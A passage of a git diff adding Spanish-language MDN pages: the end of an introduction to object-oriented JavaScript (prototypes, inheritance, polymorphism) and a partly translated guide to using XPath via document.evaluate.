+}
+
+Persona.prototype.diHola = function() {
+  alert ("Hola, Soy " + this.primerNombre);
+};
+
+var persona1 = new Persona("Alicia");
+var persona2 = new Persona("Sebastian");
+var funcionSaludar = persona1.diHola;
+
+persona1.diHola();                            // muestra "Hola, Soy Alicia"
+persona2.diHola();                            // muestra "Hola, Soy Sebastian"
+funcionSaludar();                             // muestra "Hola, Soy undefined (ó da un error con el
+                                              // TypeError en modo estricto
+
+alert(funcionSaludar === persona1.diHola);            // muestra true (verdadero)
+alert(funcionSaludar === Persona.prototype.diHola);   // muestra true (verdadero)
+funcionSaludar.call(persona1);                        // muestra "Hola, Soy Alicia"</pre>
+
+<div>En el ejemplo se muestran todas las referencias que tenemos de la función <strong>diHola</strong> — una de ellas es <strong>persona1, </strong>otra en <strong>Persona.prototype</strong>, en la variable <strong>funcionSaludar</strong>, etc. — todas se refieren a la misma función. El valor durante una llamada a la función depende de como realizamos esa llamada. <span style="line-height: 1.5;">En el común de los casos cuando la llamamos desde una expresión donde tenemos a la función desde la propiedad del objeto — <strong>persona1.diHola()</strong>.</span><span style="line-height: 1.5;">— Se establece en el objeto que tenemos en la función (persona1), razón por la cual <strong>persona1.diHola()</strong> utiliza el nombre "Alicia" y <strong>persona2.diHola()</strong> utiliza el nombre "Sebastian". </span><span style="line-height: 1.5;">Pero si realizamos la llamada de otra manera, se establecerá de forma diferente: Llamándola desde una variable  —<strong>funcionSaludar()</strong> — Este </span><span style="line-height: 1.5;">establece </span><span style="line-height: 1.5;">al objeto global (windows, en los navegadores). </span><span style="line-height: 1.5;">Desde este objeto (probablemente) no tiene a la propiedad <strong>primerNombre</strong>, por lo que finalizará con "Hola, Soy indefinido". </span><span style="line-height: 1.5;">(El cual se incluye en modo </span>de código suelto, sino sería diferente [un error] en modo estricto, pero para evitar confusiones ahora no vamos a entra en detalles.) O podemos establecerla de forma explicita utilizando  Function.call (ó Function.apply), como se muestra al final del ejemplo <strong>funcionSaludar.call(persona1)</strong>.</div>
+
+<div> </div>
+
+<div class="note"><span class="goog-gtc-unit" id="goog-gtc-unit-133"><span class="goog-gtc-from-human goog-gtc-translatable" dir="ltr">Consulta más información al respecto en <a href="/en/JavaScript/Reference/Global_Objects/Function/call" title="en/JavaScript/Reference/Global Objects/Function/call">Function.call</a> y <a href="/en/JavaScript/Reference/Global_Objects/Function/apply" title="en/JavaScript/Reference/Global Objects/Function/apply">Function.apply</a></span></span></div>
+
+<h4 id="Inheritance" name="Inheritance"><span class="goog-gtc-unit" id="goog-gtc-unit-134"><span class="goog-gtc-from-mt goog-gtc-translatable" dir="ltr">Herencia</span></span></h4>
+
+<div>La herencia es una manera de crear una clase como una versión especializada de una o más clases (JavaScript sólo permite herencia simple). La clase especializada comúnmente se llama hija o secundaria, y la otra clase se le llama padre o primaria. En JavaScript la herencia se logra mediante la asignación de una instancia de la clase primaria a  la clase secundaria, y luego se hace la especialización. </div>
+
+<div> </div>
+
+<div class="note">
+<p>JavaScript no detecta la clase hija prototype.constructor (vea las propiedades del <a href="https://developer.mozilla.org/en-US/docs/JavaScript/Reference/Global_Objects/Object/prototype">Core JavaScript 1.5 Reference:Global Objects:Object:prototype</a>) así que debemos decírselo de forma manual.</p>
+</div>
+
+<p><span class="goog-gtc-unit" id="goog-gtc-unit-140" style="line-height: 1.5;"><span class="goog-gtc-from-human goog-gtc-translatable" dir="ltr">En el siguiente ejemplo definimos la clase <strong><code>Estudiante</code></strong> como una clase secundaria de <strong><code>Persona</code></strong> .</span></span><span style="line-height: 1.5;"> </span><span class="goog-gtc-unit" id="goog-gtc-unit-141" style="line-height: 1.5;"><span class="goog-gtc-from-human goog-gtc-translatable" dir="ltr">Luego redefinimos el método <strong>diHola<code>()</code></strong> y agregamos el método <strong>diAdios<code>()</code></strong>.</span></span></p>
+
+<pre class="brush: js">// Definimos el constructor Persona
+function Persona(primerNombre) {
+  this.primerNombre = primerNombre;
+}
+
+// Agregamos un par de métodos a Persona.prototype
+Persona.prototype.caminar = function() {
+  alert("Estoy caminando!");
+};
+Persona.prototype.diHola = function(){
+  alert("Hola, Soy" + this.primerNombre);
+};
+
+// Definimos el constructor Estudiante
+function Estudiante(primerNombre, asignatura) {
+  // Llamamos al constructor padre, nos aseguramos (utilizando Function#call) que "this" se
+  // ha establecido correctamente durante la llamada
+  Persona.call(this, primerNombre);
+
+  //Inicializamos las propiedades específicas de Estudiante
+  this.asignatura = asignatura;
+};
+
+// Creamos el objeto Estudiante.prototype que hereda desde Persona.prototype
+// Nota: Un error común es utilizar "new Persona()" para crear Estudiante.prototype
+// Esto es incorrecto por varias razones, y no menos importante que no le estamos pasando nada
+// a Persona desde el argumento "primerNombre". El lugar correcto para llamar a Persona
+// es arriba, donde llamamos a Estudiante.
+Estudiante.prototype = Object.create(Persona.prototype);    // Vea las siguientes notas
+
+// Establecer la propiedad "constructor" para referencias a Estudiante
+Estudiante.prototype.constructor = Estudiante;
+
+// Reemplazar el método "diHola"
+Estudiante.prototype.diHola = function(){
+  alert("Hola, Soy " + this.primerNombre + ". Estoy estudiando " + this.asignatura + ".");
+};
+
+// Agregamos el método "diAdios"
+Estudiante.prototype.diAdios = function() {
+  alert("¡ Adios !");
+};
+
+// Ejemplos de uso
+var estudiante1 = new Estudiante("Carolina", "Física Aplicada");
+estudiante1.diHola();    // muestra "Hola, Soy Carolina. Estoy estudianto Física Aplicada."
+estudiante1.caminar();   // muestra "Estoy caminando!"
+estudiante1.diAdios();   // muestra "¡ Adios !"
+
+// Comprobamos que las instancias funcionan correctamente
+alert(estudiante1 instanceof Persona);      // devuelve true
+alert(estudiante1 instanceof Estudiante);   // devuelve true
+</pre>
+
+<p>Con respecto a la línea <strong>Estudiante.prototype = Object.create(Persona.prototype); </strong>: Sobre los motores antiguos de JavaScript sin <a href="https://developer.mozilla.org/en/JavaScript/Reference/Global_Objects/Object/create">Object.create</a>, se puede utilizar un "polyfill" (aka "shim", vea el enlace del artículo), o se puede utilizar una función que obtiene el mismo resultado, como por ejemplo:</p>
+
+<pre class="brush: js">function crearObjeto(proto) {
+  function ctor() { }
+  ctor.prototype = proto;
+  return new ctor();
+}
+
+// uso:
+Estudiante.prototype = crearObjeto(Persona.prototype); </pre>
+
+<div class="note">
+<p>Ver <a href="https://developer.mozilla.org/en/JavaScript/Reference/Global_Objects/Object/create">Object.create</a> para conocer más sobre lo que hace, y complementar con los motores antiguos.</p>
+</div>
+
+<p><span style="font-family: open sans light,sans-serif; font-size: 1.285714285714286rem; letter-spacing: -0.25px; line-height: 18px;">Encapsulación</span></p>
+
+<p><span class="goog-gtc-unit" id="goog-gtc-unit-172"><span class="goog-gtc-from-human goog-gtc-translatable" dir="ltr">En el ejemplo anterior, <code>Estudiante</code> no tiene que saber cómo se aplica el método <code>caminar()</code> de la clase <code>Persona</code>, pero, sin embargo, puede utilizar ese método. La clase <code>Estudiante</code> no tiene que definir explícitamente ese método, a menos que queramos cambiarlo.</span></span> <span class="goog-gtc-unit" id="goog-gtc-unit-173"><span class="goog-gtc-from-human goog-gtc-translatable" dir="ltr">Esto se denomina <strong>la encapsulación</strong>, por medio de la cual cada clase hereda los métodos de su elemento primario y sólo tiene que definir las cosas que desea cambiar.</span></span></p>
+
+<h4 id="Abstraction" name="Abstraction"><span class="goog-gtc-unit" id="goog-gtc-unit-174"><span class="goog-gtc-from-mt goog-gtc-translatable" dir="ltr">Abstracción</span></span></h4>
+
+<p><span class="goog-gtc-unit" id="goog-gtc-unit-175"><span class="goog-gtc-from-mt goog-gtc-translatable" dir="ltr">Un mecanismo que permite modelar la parte actual del problema de trabajo.</span></span> <span class="goog-gtc-unit" id="goog-gtc-unit-176"><span class="goog-gtc-from-human goog-gtc-translatable" dir="ltr">Esto se puede lograr por herencia (especialización) o por composición.</span></span> <span class="goog-gtc-unit" id="goog-gtc-unit-177"><span class="goog-gtc-from-human goog-gtc-translatable" dir="ltr">JavaScript logra la especialización por herencia y por composición al permitir que las instancias de clases sean los valores de los atributos de otros objetos.</span></span></p>
+
+<p><span class="goog-gtc-unit" id="goog-gtc-unit-178"><span class="goog-gtc-from-human goog-gtc-translatable" dir="ltr">La clase Function de JavaScript hereda de la clase de Object (esto demuestra la especialización del modelo) y la propiedad Function.prototype es un ejemplo de Objeto (esto demuestra la composición)</span></span></p>
+
+<p> </p>
+
+<pre class="brush: js"><span class="goog-gtc-unit" id="goog-gtc-unit-179"><span class="goog-gtc-from-human goog-gtc-translatable" dir="ltr">v</span></span>ar foo = function() {};
+alert( 'foo es una Función: ' + (foo instanceof Function) );
+alert( 'foo.prototype es un Objeto: ' + (foo.prototype instanceof Object) );
+</pre>
+
+<p><span style="font-family: open sans light,sans-serif; font-size: 1.285714285714286rem; letter-spacing: -0.25px; line-height: 18px;">Polimorfismo</span></p>
+
+<p><span class="goog-gtc-unit" id="goog-gtc-unit-183"><span class="goog-gtc-from-human goog-gtc-translatable" dir="ltr">Al igual que todos los métodos y propiedades están definidas dentro de la propiedad prototipo, las diferentes clases pueden definir métodos con el mismo nombre. Los métodos están en el ámbito de la clase en que están definidos.</span></span> <span class="goog-gtc-unit" id="goog-gtc-unit-184"><span class="goog-gtc-from-human goog-gtc-translatable" dir="ltr">Esto sólo es verdadero cuando las dos clases no tienen una relación primario-secundario (cuando uno no hereda del otro en una cadena de herencia).</span></span></p>
+
+<h2 id="Notes" name="Notes"><span class="goog-gtc-unit" id="goog-gtc-unit-185"><span class="goog-gtc-from-mt goog-gtc-translatable" dir="ltr">Notas</span></span></h2>
+
+<p><span class="goog-gtc-unit" id="goog-gtc-unit-186"><span class="goog-gtc-from-human goog-gtc-translatable" dir="ltr">Las técnicas presentadas en este artículo para aplicar la programación orientada a objetos no son las únicas que se pueden utilizar en JavaScript, que es muy flexible en términos de cómo se puede realizar la programación orientada a objetos.</span></span></p>
+
+<p><span class="goog-gtc-unit" id="goog-gtc-unit-187"><span class="goog-gtc-from-human goog-gtc-translatable" dir="ltr">Del mismo modo, las técnicas presentadas aquí no utilizan ninguna modificación o hack de lenguaje ni imitan las implementaciones de teorías de objetos de otros lenguajes.</span></span></p>
+
+<p><span class="goog-gtc-unit" id="goog-gtc-unit-188"><span class="goog-gtc-from-human goog-gtc-translatable" dir="ltr">Hay otras técnicas que hacen incluso programación orientado a objetos más avanzada en JavaScript, pero que están fuera del alcance de este artículo introductorio.</span></span></p>
+
+<h2 id="References" name="References"><span class="goog-gtc-unit" id="goog-gtc-unit-189"><span class="goog-gtc-from-mt goog-gtc-translatable" dir="ltr">Referencias</span></span></h2>
+
+<ol>
+ <li><span class="goog-gtc-unit" id="goog-gtc-unit-190-goog-gtc-unit-191-goog-gtc-unit-192"><span class="goog-gtc-from-human goog-gtc-translatable">Mozilla. "Core JavaScript 1.5 Guide", http://developer.mozilla.org/en/docs/Core_JavaScript_1.5_Guide.</span></span></li>
+ <li><span class="goog-gtc-unit" id="goog-gtc-unit-193-goog-gtc-unit-194-goog-gtc-unit-195"><span class="goog-gtc-from-human goog-gtc-translatable">Wikipedia. "Programación orientada a objetos", <a class="external" href="http://es.wikipedia.org/wiki/Programaci%C3%B3n_orientada_a_objetos" rel="freelink">http://es.wikipedia.org/wiki/Program...tada_a_objetos</a>.</span></span></li>
+ <li><a href="http://davidwalsh.name/javascript-objects">Descripción general de POO en JavaScript</a> por Kyle Simpson.</li>
+</ol>
diff --git a/files/es/web/javascript/introduction_to_using_xpath_in_javascript/index.html b/files/es/web/javascript/introduction_to_using_xpath_in_javascript/index.html
new file mode 100644
index 0000000000..9b480576af
--- /dev/null
+++ b/files/es/web/javascript/introduction_to_using_xpath_in_javascript/index.html
@@ -0,0 +1,416 @@
+---
+title: Introducción al uso de XPath en Javascript
+slug: Web/JavaScript/Introduction_to_using_XPath_in_JavaScript
+translation_of: Web/XPath/Introduction_to_using_XPath_in_JavaScript
+---
+<p>Este documento describe la interfaz para usar <a href="/en-US/docs/Web/XPath">XPath</a> internamente en JavaScript,  en extensiones y desde sitios web. Mozilla implementa una gran parte del <a class="external" href="http://www.w3.org/TR/DOM-Level-3-XPath/xpath.html">DOM 3 XPath</a>. Esto significa que las expresiones XPath pueden correrse en documentos HTML y XML.</p>
+
+<p>La interfaz principal a usar con XPath es la función <a href="/en/DOM/document.evaluate" title="en/DOM/document.evaluate">evaluate</a> del objeto <a href="/en/DOM/document" title="en/DOM/document">document</a>.</p>
+
+<h2 id="document.evaluate" name="document.evaluate">document.evaluate</h2>
+
+<p>Este método evalúa expresiones <a href="/en/XPath" title="en/XPath">XPath</a> contra un documento basado en <a href="/en/XML" title="en/XML">XML</a>  (incluyendo documentos HTML), y regresa un objeto <code><a href="/en/XPathResult" title="en/XPathResult">XPathResult</a></code>, el cual puede ser un solo nodo o un conjunto de nodos. La documentación existente para este método se encuentra en <a href="/en/DOM/document.evaluate" title="en/DOM/document.evaluate">document.evaluate</a>, pero de momento es más bien escasa para nuestras necesidades; una examinación más abarcativa será dada a continuación.</p>
+
+<pre class="brush: js">var xpathResult = document.evaluate( xpathExpression, contextNode, namespaceResolver, resultType, result );
+</pre>
+
+<h3 id="Parameters" name="Parameters">Parámetros</h3>
+
+<p>La función <a href="/en/DOM/document.evaluate" title="en/DOM/document.evaluate">evaluate</a> toma un total de 5 parámetros:</p>
+
+<ul>
+ <li><code>xpathExpression</code>: Una cadena que contiene la expresión XPath a evaluar.</li>
+ <li><code>contextNode</code>: Un nodo en el documento contra la  <code>xpathExpression</code> debe ser evaluada, incluyendo todos los nodos descendientes. El nodo <a href="/en/DOM/document" title="en/DOM/document">document</a> es el usado más comúnmente.</li>
+ <li><code>namespaceResolver</code>: Una función que pasará cualquier prefijo de namespace contenido en una <code>xpathExpression</code> la cúal regresará una cadena representando al URI del namespace asociado con ese prefijo. Esto activa la conversión entre los prefijos usados en las expresiones XPath y los posiblemente distintos prefijos usados en el documento. La función puede ser:
+  <ul>
+   <li>Creada usando el metodo <code><a href="/en/DOM/document.createNSResolver" title="en/DOM/document.createNSResolver">createNSResolver</a></code> de un objeto <code><a href="/en/XPathEvaluator" title="en/XPathEvaluator">XPathEvaluator</a></code>. Deberías usar este virtualmente todo el tiempo.</li>
+   <li><code>null</code>, el cúal puede ser usado para documentos HTML o cuando no son usados prefijos de namespace. Note que, si la expresión XPath contiene un prefijo de namespace, esto resultará en una <code>DOMException</code> siendo arrojada con el código <code>NAMESPACE_ERR</code>.</li>
+   <li>Una función definida por el usuario. Mira la sección <a href="#Implementing_a_User_Defined_Namespace_Resolver">Usar un Solucionador de Namespace definido por el usuario</a> en el apéndice para detalles.</li>
+  </ul>
+ </li>
+ <li><code>resultType</code>: Una <a href="#XPathResult_Defined_Constants">constante</a> que especifica el tipo del resultado deseado a ser regresado. La constante más comúnmente pasada es <code>XPathResult.ANY_TYPE</code> la cúal regresará los resultados de la expresión XPath como el tipo más natural. Hay una sección en el apéndice que contiene una lista completa de las <a href="#XPathResult_Defined_Constants">constantes disponibles</a>. Estas son explicadas debajo, en la sección "<a href="#Specifying_the_Return_Type">Especificando el tipo de valor regresado</a>".</li>
+ <li><code>result</code>: Si un objeto <code>XPathResult</code>  existente es especificado, sera reusado para regresar el resultado. Especificando <code>null</code>, un nuevo objeto <code>XPathResult</code> será creado.</li>
+</ul>
+
+<h3 id="Return_Value" name="Return_Value">Valor regresado</h3>
+
+<p>Regresa <code>xpathResult</code>, que es un objeto <code>XPathResult</code> del tipo especificado en el parámetro <code>resultType</code>. La interfaz <code>XPathResult</code> está definida en{{ Source("dom/interfaces/xpath/nsIDOMXPathResult.idl", "here") }}.</p>
+
+<h3 id="Implementing_a_Default_Namespace_Resolver" name="Implementing_a_Default_Namespace_Resolver">Implementando un Solucionador de Namespace predefinido</h3>
+
+<p>Nosotros creamos un solucionador de namespace usando el método <code>createNSResolver</code> del objeto <a href="/en/DOM/document" title="en/DOM/document">document</a>.</p>
+
+<pre class="brush: js">var nsResolver = document.createNSResolver( contextNode.ownerDocument == null ? contextNode.documentElement : contextNode.ownerDocument.documentElement );
+</pre>
+
+<p><span class="comment">O alternativamente, usar el método <code>createNSResolver</code> de un objeto<code> XPathEvaluator</code>. </span></p>
+
+<pre><span class="comment">var xpEvaluator = new XPathEvaluator();
+var nsResolver = xpEvaluator.createNSResolver( contextNode.ownerDocument == null ? contextNode.documentElement : contextNode.ownerDocument.documentElement ); </span></pre>
+
+<p>Y entonces pasar a <code>document.evaluate</code> la variable <code>nsResolver</code>, como el parámetro <code>namespaceResolver</code>.</p>
+
+<p>Nota: XPath define QNames sin un prefijo sólo al igualar elementos en el namespace null. No hay manera en XPath de tomar el namespace predefinido tal como se aplica a un elemento de referencia regular (e.g., <code>p[@id='_myid']</code> for <code><span class="nowiki">xmlns='http://www.w3.org/1999/xhtml</span>'</code>). Para igualar elementos predefinidos en un namespace no-nulo, , se tiene que hacer refencia a un elemento en particular usando una forma como <code>['namespace-uri()='<span class="nowiki">http://www.w3.org/1999/xhtml</span>' and name()='p' and @id='_myid']</code> (este enfoque funciona bien para expresiones XPath dinámicas donde el namespace puede ser dessconocido) o usar un nombre de prueba prefijado, y crear un solucionador de namespace mapeando el prefijo al namespace. Lee más sobre como crear un solucionador de namespace definido por el usuario, si deseas tomar el último enfoque.</p>
+
+<h3 id="Notes" name="Notes">Notas</h3>
+
+<p>Se adapta cualquier nodo DOM a resolver namespaces, así que una expresión XPath puede ser fácilmente evaluada relativa al contexto del nodo donde este aparece dentro del documento. Este adaptador funciona como el método de DOM Nivel 3 <code>lookupNamespaceURI</code> en nodos a resolver el <code>namespaceURI</code> desde un prefijo dado, usando la información actual disponible en la jerarquía del nodo en el momento en que lookupNamespaceURI es llamado. También resuelve correctamente el prefijo implícito de XML.</p>
+
+<h3 id="Specifying_the_Return_Type" name="Specifying_the_Return_Type">Especificando el tipo de valor regresado</h3>
+
+<p>La variable regresado <code>xpathResult</code> desde <code>document.evaluate</code> puede estar compuesto de nodos individuales (tipos simples), o una colección de nodos (tipo de conjunto de nodos)</p>
+
+<h4 id="Simple_Types" name="Simple_Types">Tipos simples</h4>
+
+<p>Cuando el tipo de resultado deseado especificado en <code>resultType</code> es uno de los siguientes :</p>
+
+<ul>
+ <li><code>NUMBER_TYPE</code> - un doble</li>
+ <li><code>STRING_TYPE</code> - una cadena</li>
+ <li><code>BOOLEAN_TYPE</code> - un booleano</li>
+</ul>
+
+<p>Obtenemos el valor regresado por la expresión accediendo a las siguientes propiedades, respectivamente, del objeto <code>XPathResult</code>.</p>
+
+<ul>
+ <li><code>numberValue</code></li>
+ <li><code>stringValue</code></li>
+ <li><code>booleanValue</code></li>
+</ul>
+
+<h5 id="Example" name="Example">Ejemplo</h5>
+
+<p>El siguiente código usa la expresión XPath <code><a href="/en/XPath/Functions/count" title="en/XPath/Functions/count">count(//p)</a></code> para obtener el número de elementos &lt;p&gt; en un  documento HTML:</p>
+
+<pre class="brush: js  language-js"><code class="language-js"><span class="keyword token">var</span> paragraphCount <span class="operator token">=</span> document<span class="punctuation token">.</span><span class="function token">evaluate<span class="punctuation token">(</span></span> 'count<span class="comment token">(//p)', document, null, XPathResult.ANY_TYPE, null );
+</span>
+<span class="function token">alert<span class="punctuation token">(</span></span> <span class="string token">'This document contains '</span> <span class="operator token">+</span> paragraphCount<span class="punctuation token">.</span>numberValue <span class="operator token">+</span> <span class="string token">' paragraph elements'</span> <span class="punctuation token">)</span><span class="punctuation token">;</span></code></pre>
+
+<p>Aunque JavaScript nos permite convertir el número a una cadena para desplegarlo, la interfaz <code>XPath</code> no convertirá el resultado numérico si la propiedad <code>stringValue</code> es solicitada, así que el siguiente código no funcionará:</p>
+
+<pre class="brush: js">var paragraphCount = document.evaluate('count(//p)', document, null, XPathResult.ANY_TYPE, null );
+
+alert( 'This document contains ' + paragraphCount.stringValue + ' paragraph elements' );
+</pre>
+
+<p>A su vez, regresará una excepción con el código <code>NS_DOM_TYPE_ERROR</code>.</p>
+
+<h4 id="Node-Set_Types" name="Node-Set_Types">Tipos de conjuntos de Nodos</h4>
+
+<p>El objeto <code>XPathResult</code> permite a los conjuntos de nodos ser regresados en 3 diferentes tipos principales:</p>
+
+<ul>
+ <li><a href="#Iterators">Iteradores</a></li>
+ <li><a href="#Snapshots">Capturas</a></li>
+ <li><a href="#First_Node">Primeros nodos</a></li>
+</ul>
+
+<h5 id="Iterators" name="Iterators">Iteradores</h5>
+
+<p>Cuando el tipo de resultado especificado en el <code>resultType</code> es uno de los siguientes:</p>
+
+<ul>
+ <li><code>UNORDERED_NODE_ITERATOR_TYPE</code></li>
+ <li><code>ORDERED_NODE_ITERATOR_TYPE</code></li>
+</ul>
+
+<p>El objeto <code>XPathResult</code> regresado es un conjunto de nodos de los nodos coincidentes los cuales se comportarán como un iterador, perimitiendo el acceso individual a los nodos mediante el uso de método <span id="cke_bm_118S" style="display: none;"> </span><code>iterateNext()</code><span id="cke_bm_118E" style="display: none;"> </span> del <code>XPathResult</code><span id="cke_bm_119E" style="display: none;"> </span>.</p>
+
+<p>Una vez que hemos iterado sobre todos los nodos individuales coincidentes,<code> iterateNext()</code> regresará <code>null</code>.</p>
+
+<p>Es importante señalar que si el documento se ha transformado (el arbol del documento se ha modificado) entre iteraciones </p>
+
+<h6 id="Iterator_Example" name="Iterator_Example">Iterator Example</h6>
+
+<pre class="brush: js">var iterator = document.evaluate('//phoneNumber', documentNode, null, XPathResult.UNORDERED_NODE_ITERATOR_TYPE, null );
+
+try {
+  var thisNode = iterator.iterateNext();
+
+  while (thisNode) {
+    alert( thisNode.textContent );
+    thisNode = iterator.iterateNext();
+  }
+}
+catch (e) {
+  dump( 'Error: Document tree modified during iteration ' + e );
+}
+</pre>
+
+<h5 id="Snapshots" name="Snapshots">Snapshots</h5>
+
+<p>When the specified result type in the <code>resultType</code> parameter is either:</p>
+
+<ul>
+ <li><code>UNORDERED_NODE_SNAPSHOT_TYPE</code></li>
+ <li><code>ORDERED_NODE_SNAPSHOT_TYPE</code></li>
+</ul>
+
+<p>The <code>XPathResult</code> object returned is a static node-set of matched nodes, which allows us to access each node through the <code>snapshotItem(itemNumber)</code> method of the <code>XPathResult</code> object, where <code>itemNumber</code> is the index of the node to be retrieved. The total number of nodes contained can be accessed through the <code>snapshotLength</code> property.</p>
+
+<p>Snapshots do not change with document mutations, so unlike the iterators the snapshot does not become invalid, but it may not correspond to the current document, for example the nodes may have been moved, it might contain nodes that no longer exist, or new nodes could have been added.</p>
+
+<h6 id="Snapshot_Example" name="Snapshot_Example">Snapshot Example</h6>
+
+<pre class="brush: js">var nodesSnapshot = document.evaluate('//phoneNumber', documentNode, null, XPathResult.ORDERED_NODE_SNAPSHOT_TYPE, null );
+
+for ( var i=0 ; i &lt; nodesSnapshot.snapshotLength; i++ )
+{
+  dump( nodesSnapshot.snapshotItem(i).textContent );
+}
+</pre>
+
+<h5 id="First_Node" name="First_Node">First Node</h5>
+
+<p>When the specified result type in the <code>resultType</code> parameter is either:</p>
+
+<ul>
+ <li><code>ANY_UNORDERED_NODE_TYPE</code></li>
+ <li><code>FIRST_ORDERED_NODE_TYPE</code></li>
+</ul>
+
+<p>The <code>XPathResult</code> object returned is only the first found node that matched the XPath expression. This can be accessed through the <code>singleNodeValue</code> property of the <code>XPathResult</code> object. This will be <code>null</code> if the node set is empty.</p>
+
+<p>Note that, for the unordered subtype the single node returned might not be the first in document order, but for the ordered subtype you are guaranteed to get the first matched node in the document order.</p>
+
+<h6 id="First_Node_Example" name="First_Node_Example">First Node Example</h6>
+
+<pre class="brush: js">var firstPhoneNumber = document.evaluate('//phoneNumber', documentNode, null, XPathResult.FIRST_ORDERED_NODE_TYPE, null );
+
+dump( 'The first phone number found is ' + firstPhoneNumber.singleNodeValue.textContent );
+</pre>
+
+<h4 id="The_ANY_TYPE_Constant" name="The_ANY_TYPE_Constant">The ANY_TYPE Constant</h4>
+
+<p>When the result type in the <code>resultType</code> parameter is specified as <code>ANY_TYPE</code>, the <code>XPathResult</code> object returned, will be whatever type that naturally results from the evaluation of the expression.</p>
+
+<p>It could be any of the simple types (<code>NUMBER_TYPE, STRING_TYPE, BOOLEAN_TYPE</code>), <strong>but</strong>, if the returned result type is a node-set then it will <strong>only</strong> be an <code>UNORDERED_NODE_ITERATOR_TYPE</code>.</p>
+
+<p>To determine that type after evaluation, we use the <code>resultType</code> property of the <code>XPathResult</code> object. The <a href="#XPathResult_Defined_Constants">constant</a> values of this property are defined in the appendix. <span class="comment">None Yet =====Any_Type Example===== &lt;pre&gt; &lt;/pre&gt;</span></p>
+
+<h2 id="Examples" name="Examples">Examples</h2>
+
+<h3 id="Within_an_HTML_Document" name="Within_an_HTML_Document">Within an HTML Document</h3>
+
+<p>The following code is intended to be placed in any JavaScript fragment within or linked to the HTML document against which the XPath expression is to be evaluated.</p>
+
+<p>To extract all the <code>&lt;h2&gt;</code> heading elements in an HTML document using XPath, the <code>xpathExpression</code> is simply '<code>//h2</code>'. Where, <code>//</code> is the Recursive Descent Operator that matches elements with the nodeName <code>h2</code> anywhere in the document tree. The full code for this is: <span class="comment">link to introductory xpath doc</span></p>
+
+<pre class="brush: js">var headings = document.evaluate('//h2', document, null, XPathResult.ANY_TYPE, null );
+</pre>
+
+<p>Notice that, since HTML does not have namespaces, we have passed <code>null</code> for the <code>namespaceResolver</code> parameter.</p>
+
+<p>Since we wish to search over the entire document for the headings, we have used the <a href="/en/DOM/document" title="en/DOM/document">document</a> object itself as the <code>contextNode</code>.</p>
+
+<p>The result of this expression is an <code>XPathResult</code> object. If we wish to know the type of result returned, we may evaluate the <code>resultType</code> property of the returned object. In this case, that will evaluate to <code>4</code>, an <code>UNORDERED_NODE_ITERATOR_TYPE</code>. This is the default return type when the result of the XPath expression is a node set. It provides access to a single node at a time and may not return nodes in a particular order. To access the returned nodes, we use the <code>iterateNext()</code> method of the returned object:</p>
+
+<pre class="brush: js">var thisHeading = headings.iterateNext();
+
+var alertText = 'Level 2 headings in this document are:\n'
+
+while (thisHeading) {
+  alertText += thisHeading.textContent + '\n';
+  thisHeading = headings.iterateNext();
+}
+</pre>
+
+<p>Once we iterate to a node, we have access to all the standard DOM interfaces on that node. After iterating through all the <code>h2</code> elements returned from our expression, any further calls to <code>iterateNext()</code> will return <code>null</code>.</p>
+
+<h3 id="Evaluating_against_an_XML_document_within_an_Extension" name="Evaluating_against_an_XML_document_within_an_Extension">Evaluating against an XML document within an Extension</h3>
+
+<p>The following uses an XML document located at <span class="nowiki">chrome://yourextension/content/peopleDB.xml</span> as an example.</p>
+
+<pre class="brush: xml">&lt;?xml version="1.0"?&gt;
+&lt;people xmlns:xul = "http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul" &gt;
+  &lt;person&gt;
+	&lt;name first="george" last="bush" /&gt;
+	&lt;address street="1600 pennsylvania avenue" city="washington" country="usa"/&gt;
+	&lt;phoneNumber&gt;202-456-1111&lt;/phoneNumber&gt;
+  &lt;/person&gt;
+  &lt;person&gt;
+	&lt;name first="tony" last="blair" /&gt;
+	&lt;address street="10 downing street" city="london" country="uk"/&gt;
+	&lt;phoneNumber&gt;020 7925 0918&lt;/phoneNumber&gt;
+  &lt;/person&gt;
+&lt;/people&gt;
+</pre>
+
+<p>To make the contents of the XML document available within the extension, we create an <code><a href="/en/XMLHttpRequest" title="en/XMLHttpRequest">XMLHttpRequest</a></code> object to load the document synchronously, the variable <code>xmlDoc</code> will contain the document as an <code><a href="/en/XMLDocument" title="en/XMLDocument">XMLDocument</a></code> object against which we can use the <code>evaluate</code> method</p>
+
+<p>JavaScript used in the extensions xul/js documents.</p>
+
+<pre class="brush: js">var req = new XMLHttpRequest();
+
+req.open("GET", "chrome://yourextension/content/peopleDB.xml", false);
+req.send(null);
+
+var xmlDoc = req.responseXML;
+
+var nsResolver = xmlDoc.createNSResolver( xmlDoc.ownerDocument == null ? xmlDoc.documentElement : xmlDoc.ownerDocument.documentElement);
+
+var personIterator = xmlDoc.evaluate('//person', xmlDoc, nsResolver, XPathResult.ANY_TYPE, null );
+</pre>
+
+<h3 id="Note">Note</h3>
+
+<p>When the XPathResult object is not defined, the constants can be retreived in privileged code using <code>Components.interfaces.nsIDOMXPathResult.ANY_TYPE</code> (<code>CI.nsIDOMXPathResult</code>). Similarly, an XPathEvaluator can be created using:</p>
+
+<pre class="brush: js">Components.classes["@mozilla.org/dom/xpath-evaluator;1"].createInstance(Components.interfaces.nsIDOMXPathEvaluator)</pre>
+
+<h2 id="Appendix" name="Appendix">Appendix</h2>
+
+<h4 id="Implementing_a_User_Defined_Namespace_Resolver" name="Implementing_a_User_Defined_Namespace_Resolver">Implementing a User Defined Namespace Resolver</h4>
+
+<p>This is an example for illustration only. This function will need to take namespace prefixes from the <code>xpathExpression</code> and return the URI that corresponds to that prefix. For example, the expression:</p>
+
+<pre>'//xhtml:td/mathml:math'
+</pre>
+
+<p>will select all <a href="/en/MathML" title="en/MathML">MathML</a> expressions that are the children of (X)HTML table data cell elements.</p>
+
+<p>In order to associate the '<code>mathml:</code>' prefix with the namespace URI '<code><span class="nowiki">http://www.w3.org/1998/Math/MathML</span></code>' and '<code>xhtml:</code>' with the URI '<code><span class="nowiki">http://www.w3.org/1999/xhtml</span></code>' we provide a function:</p>
+
+<pre class="brush: js">function nsResolver(prefix) {
+  var ns = {
+    'xhtml' : 'http://www.w3.org/1999/xhtml',
+    'mathml': 'http://www.w3.org/1998/Math/MathML'
+  };
+  return ns[prefix] || null;
+}
+</pre>
+
+<p>Our call to <code>document.evaluate</code> would then looks like:</p>
+
+<pre class="brush: js">document.evaluate( '//xhtml:td/mathml:math', document, nsResolver, XPathResult.ANY_TYPE, null );
+</pre>
+
